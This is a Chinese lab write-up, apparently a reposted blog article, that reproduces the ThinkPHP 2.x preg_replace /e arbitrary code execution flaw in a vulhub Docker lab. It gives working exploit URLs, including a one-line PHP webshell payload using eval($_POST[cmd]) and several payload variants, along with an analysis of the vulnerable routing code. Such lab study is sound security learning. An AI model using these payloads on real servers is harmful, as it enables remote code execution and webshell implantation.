当前位置: 首页 > news >正文

【vulhub漏洞复现】Thinkphp 2.x 任意代码执行

一、漏洞详情

影响版本 thinkphp 2.x
但是由于thinkphp 3.0版本在Lite模式下没有修复该漏洞,所以也存在该漏洞

漏洞原因:

e 和 /e模式匹配路由:
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。

再看看preg_replace这个函数

preg_replace('正则规则','替换字符','目标字符')

就是讲目标字符根据正则规则替换成替换字符

当preg_replace使用了/e模式,可以导致代码执行。该函数的正则规则和目标字符可以由用户进行输入。preg_replace 函数在匹配到符号正则的字符串时,会将替换字符(第二个参数)当做代码来执行。

举个例子

官方 payload 为 /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}} 
原先的语句: preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

最终strtolower("\\1")被执行,相当于 eval(‘strtolower(“\1”);’) 。

strtolower():把所有字符转换为小写

也就是结果是\1,而\1在正则表达式中指定的是第一个子匹配项,phpinfo()就会被成功执行

在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

二、复现过程

  1. 搭建docker环境

docker-compose up -d
  1. 写入phpinfo

http://192.168.239.128:8080/index.php?s=/index/index/xxx/${@phpinfo()}
  1. 写入一句话木马

http://192.168.239.128:8080/index.php?s=/index/index/name/${@print(eval($_POST[cmd]))}

报错但是已经写进去了

连接成功

  1. 代码分析

复现是完成了,但是那个payload是怎么构造出来的呢

// 分析PATHINFO信息self::getPathInfo();if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));$var  =  array();if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {// 禁止直接访问分组exit;}}if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称$var[C('VAR_MODULE')]  =   array_shift($paths);}$var[C('VAR_ACTION')]  =   array_shift($paths);// 解析剩余的URL参数$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));$_GET   =  array_merge($var,$_GET);}
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

意味着每次会取出两个参数,第一个参数作为var数组的下标,第二个参数作为该下标数组的值(也就是只要你的代码放在偶数位就会被当成数组的值执行)

if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);

当数组$var在路径存在模块和动作时,会去除掉前2个值,所以我们构造的payload的数组的值需要大于2且想要执行的代码需要放在偶数位。

故可以构造payload:

/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
……

至于s是怎么来的:

ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值…]

如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]

这篇文章写的非常详细,我也就是照猫画虎,理解最重要。

https://www.freebuf.com/column/223149.html

三、总结

为什么${}会执行?在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称,那么这个函数就会被执行。

希望能从漏洞复现中学习到挖漏洞的思路和技巧,不知道什么时候才能真真正正地有自己挖洞的实力了嗨嗨害。

学习新思想,争做新青年。

每天给自己来碗鸡汤。

http://www.lryc.cn/news/23704.html

相关文章:

  • LeetCode 1145. 二叉树着色游戏 -- 简单搜索
  • HyperGBM的三种Early Stopping方式
  • 心系区域发展,高德用一体化出行服务平台“聚”力区域未来
  • AI画图_stable-diffusion-webui安装使用指南(1)
  • 浅谈MySQL主从复制
  • docker-compose安装kafka和php简单测试
  • 【蓝桥云课】快速幂
  • 解决windows安装wxPython安装失败、速度过慢及PyCharm上wx包爆红问题
  • 封装小程序request请求[接口函数]
  • 嵌入式 STM32 通讯协议--MODBUS
  • 互联网人看一看,这些神器你用过哪些?
  • Kotlin学习:5.2、异步数据流 Flow
  • EPICS synApps介绍
  • Pycharm和跳板机 连接内网服务器
  • mysql去重查询的三种方法
  • PHP反序列化
  • 什么蓝牙耳机打电话效果最好?通话效果好的无线蓝牙耳机
  • Tesseract centos环境安装,基于springboot图片提取文字
  • Elasticsearch7.8.0版本优化——写入速度优化
  • 【Redis】Redis主从同步中数据同步原理
  • Python基础—while循环
  • linux基础(管道符,检索,vim和vi编辑使用)
  • GAN | 代码简单实现生成对抗网络(GAN)(PyTorch)
  • 华为面试题就这?00后卷王直接拿下30k华为offer......
  • html的常见标签使用
  • STM32——毕设智能感应窗户
  • golang archive/tar库的学习
  • MongoDB 详细教程,这一篇就够啦
  • python为什么慢
  • Android kotlin 组件间通讯 - LiveEventBus 及测试(更新中)